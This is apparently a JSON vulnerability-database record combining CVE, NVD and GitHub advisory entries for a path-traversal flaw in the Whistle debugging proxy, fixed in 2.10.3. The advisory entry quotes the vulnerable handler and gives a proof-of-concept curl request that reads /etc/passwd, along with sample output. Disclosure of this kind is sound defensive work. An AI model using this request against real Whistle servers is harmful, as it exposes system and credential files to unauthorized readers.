{"id":"CVE-2026-55629","revision":null,"records":[{"revision":"e7d6c9038a0c4bccacc76d42a7006112","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-55629","aliases":[],"title":"Whistle: Path traversal","description":"Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/service.js handles GET /cgi-bin/temp/get by reading req.query.filename, joining it to TEMP_FILES_PATH only when it matches the temporary file pattern, and otherwise passing the user-supplied filename directly to getFile, allowing a remote attacker to read arbitrary files such as /etc/passwd. This issue is reported as fixed in version 2.10.3.","state":0,"publishedAt":"2026-07-16T19:12:56.106+00:00","modifiedAt":"2026-07-17T18:12:13.546+00:00","affected":[{"ecosystem":"Vendor product","name":"whistle","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"avwo\",\n                    \"product\": \"whistle\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.10.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"}],"references":["https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp","https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5","http://github.com/avwo/whistle/releases/tag/v2.10.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55629","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-55629","identifiers":["CVE-2026-55629"]},"retained":false,"historicalAffected":[]},{"revision":"03aaf7803b804bf6bbf66d52254afffb","observedAt":"2026-10-25T14:19:05.298+00:00","statement":{"source":"nvd","id":"CVE-2026-55629","aliases":[],"title":"Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/service.js handles GET /cgi-bin/temp/get by reading req.query.filename, joining it to TEMP_FILES_PATH only when it matches the temporary file patt…","description":"Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/service.js handles GET /cgi-bin/temp/get by reading req.query.filename, joining it to TEMP_FILES_PATH only when it matches the temporary file pattern, and otherwise passing the user-supplied filename directly to getFile, allowing a remote attacker to read arbitrary files such as /etc/passwd. This issue is reported as fixed in version 2.10.3.","state":0,"publishedAt":"2026-07-16T20:16:45.577+00:00","modifiedAt":"2026-10-24T20:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"}],"references":["http://github.com/avwo/whistle/releases/tag/v2.10.3","https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5","https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55629","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-07-16T20:16:45.577","lastModified":"2026-10-24T20:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-55629","identifiers":["CVE-2026-55629"]},"retained":false,"historicalAffected":[]},{"revision":"ea28f7c915244f2cbcf4e016446a3a87","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-3vfr-4gwf-qxfp","aliases":["CVE-2026-55629"],"title":"Whistle vulnerable to path traversal","description":"This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.\n\n**Vulnerability detail**:\n\nIn service.js, inside \n`app.get('/cgi-bin/temp/get', ...):\nvar filename = req.query.filename;\nif (TEMP_FILE_RE.test(filename)) {\n  filename = path.join(TEMP_FILES_PATH, filename);\n}\ngetFile(filename, ...);`\n\n\nOnly when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH.\n\nIf it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.\n\nIn other words: if you pass passwd, it will read passwd.\n\n**POC**:\ncurl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd\"\n\n**response**:\n\n``` sh\nxiaoming@192 ~ % curl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts\"\n{\"ec\":0,\"value\":\"##\\n# Host Database\\n#\\n# localhost is used to configure the loopback interface\\n# when the system is booting.  Do not change this entry.\\n##\\n127.0.0.1\\tlocalhost\\n255.255.255.255\\tbroadcasthost\\n::1             localhost\\n199.232.68.133 raw.githubusercontent.com\\n199.232.68.133 user-images.githubusercontent.com\\n199.232.68.133 avatars2.githubusercontent.com\\n199.232.68.133 avatars1.githubusercontent.com\\n127.0.0.1 lanyundev.com\\n\\n127.0.0.1 www.proxifier.com\\n127.0.0.1  proxifier.com\\n140.82.116.4 github.com\\n\\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\\n127.0.0.1\\tlocalhost.sangfor.com.cn\\n\\n\"}% \n```","state":0,"publishedAt":"2026-08-25T18:32:06+00:00","modifiedAt":"2026-08-26T00:54:29.2620256+00:00","affected":[{"ecosystem":"npm","name":"whistle","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.10.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp","https://nvd.nist.gov/vuln/detail/CVE-2026-55629","https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5","https://github.com/avwo/whistle","http://github.com/avwo/whistle/releases/tag/v2.10.3"],"sourceUrl":"https://github.com/advisories/GHSA-3vfr-4gwf-qxfp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3vfr-4gwf-qxfp","identifiers":["GHSA-3vfr-4gwf-qxfp","CVE-2026-55629"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T04:23:20.6482565+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T04:23:20.6482565+00:00","lastSuccessAt":"2026-10-27T04:23:21.0403366+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:23:21.0403386+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-44adb5fc4ec2447b4a14a9a186d21f635f5ab0fe59c9ca03fbd7387196ed1b95","complete":true,"records":414861,"lastAttemptAt":"2026-10-27T04:23:19.4839227+00:00","lastSuccessAt":"2026-10-27T04:23:19.4592214+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:23:19.4839227+00:00","snapshotPublishedAt":"2026-10-27T03:23:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T04:24:29.5120624+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T04:23:20.6482565+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T04:23:20.6482565+00:00","lastSuccessAt":"2026-10-27T04:23:21.0415276+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:23:21.0415281+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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